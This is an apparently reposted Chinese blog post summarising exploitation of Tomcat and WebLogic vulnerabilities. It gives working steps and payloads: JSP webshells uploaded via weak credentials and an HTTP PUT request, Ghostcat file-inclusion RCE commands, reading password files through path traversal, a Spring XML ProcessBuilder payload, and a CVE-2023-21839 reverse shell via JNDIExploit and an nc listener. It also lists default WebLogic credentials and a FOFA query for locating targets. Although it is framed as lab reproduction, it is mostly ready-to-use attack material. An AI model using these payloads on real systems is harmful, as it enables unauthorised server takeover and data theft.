1、Tomcat
弱口令导致war远程部署getshell
影响版本:无
漏洞复现:通过弱口令登录,使用哥斯拉生成一个木马,上传getshell。
点【取消】按钮,跳转至如下页面
根据页面提示信息,在tomcat目录下,找到conf文件夹,然后找到tomcat-users.xml文件。
如图红色框里的几行代码,红框1里的是用户在安装tomcat时设置的密码,如果用户在安装时未设定密码则如红框2里的显示。username是账户,password是密码。
使用哥斯拉声生成木马
得到ws.jsp木马文件,将ws.jsp 压缩ws.zip,在一次压缩ws.war后,进行上传
访问是否上传成功
/ws解压后得到ws.jsp ,所以访问ws/ws.jsp
哥斯拉链接成功
文件包含漏洞(CVE-2020-1938)
漏洞描述:默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).
影响范围
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
前提条件:
对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009
漏洞原理
Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell
漏洞危害:
攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害
漏洞复现
1、下载链接:https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip
2、安装JDK,并配置环境
3、启动tomcat,点击tomcat目录/bin 文件夹下的startup.bat
任意文件读取
可以读取webapps目录下的任何文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml
任意文件包含
1、首先得上传一个要包含的文件内容,并将文件上传到webapps目录
test.txt
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
2、访问该文件内容test.txt
3、输入命令,执行命令
python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1
文件上传漏洞(CVE-2017-12615)
漏洞原理
当 Tomcat 运行在 Windows 主机上,启用了 HTTP PUT 请求方法,可以通过构造请求向服务器上传包含任意代码的 JSP 文件,导致 JSP 文件中的代码能够被服务器执行
影响范围:
Tomcat 7.0.0 - 7.0.81
漏洞描述:Apache Tomcat 7.0.0 - 7.0.79漏洞产生原因:在这个Dockerfile文件中,通过修改web.xml文件来添加一个名为readonly的参数,其值为false
漏洞复现:
靶场搭建可以直接使用vulhub
可以看到readonly值为false
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
访问,即可执行任意命令
2、Weblogic
任意文件读取漏洞
漏洞原理:路径下存在任意文件读取: /hello/file.jsp?path=
/etc/passwd
影响范围:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞复现
通过/etc/passwd读取用户信息
http://xxx:7001/hello/file.jsp?path=/etc/passwd
1、读取密文文件
读取配置文件拿到加密密钥:
/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
2、读取加密后的密码
使用burp抓包后,并将密码存储为.dat文件
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
将读取的文件内容生成文件
3、解密
https://github.com/TideSec/Decrypt_Weblogic_Password
远程命令执行漏洞
CVE-2020-14882: 代码执行漏洞
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。 CVE-2020-14883: 权限绕过漏洞
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console
漏洞原理
CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
影响范围
WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0
漏洞复现
构造xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success]]></value>
</list>
</constructor-arg>
</bean>
</beans>
访问.xml文件,会在tmp生成success文件
同理:修改 .xml文件中
未授权远程代码执行漏洞(CVE-2023-21839)
漏洞原理
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响范围:
12.2.1.2.0
12.2.1.1.0
12.2.1.3.0
12.2.1.0.0
12.2.1.4.0
14.1.1.0.0
12.1.2.0.0
12.1.3.0.0
10.3.6.0
FOFA
app="BEA-WebLogic-Server" || app="Weblogic_interface_7001"
Vulfocus 已经集成该漏洞环境可通过以下环境使用:
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.2.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.1.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.3.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.4.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.2.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:14.1.1.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.2.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:12.1.3.0.0-jdk-release
docker pull vulfocus/vcpe-1.0-a-oracle-weblogic:10.3.6.0-jdk-release
漏洞环境:利用vulhub
漏洞复现:
下载https://github.com/WhiteHSBG/JNDIExploit
1、搭建ldap服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i kali的ip
2、kali 开启NC
nc -lvvp 9999
3、下载EXP
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
执行命令
java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口
4、成功反弹shell,监听成功
Weblogic常用弱口令
可以去测试一下是否能登录上
weblogic/Oracle@123
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/weblogic123
weblogic/weblogic2
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
guest/guest
portaladmin/portaladmin
system/system
WebLogic/WebLogic
原文始发于微信公众号(进击的HACK):中间件常见漏洞总结
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论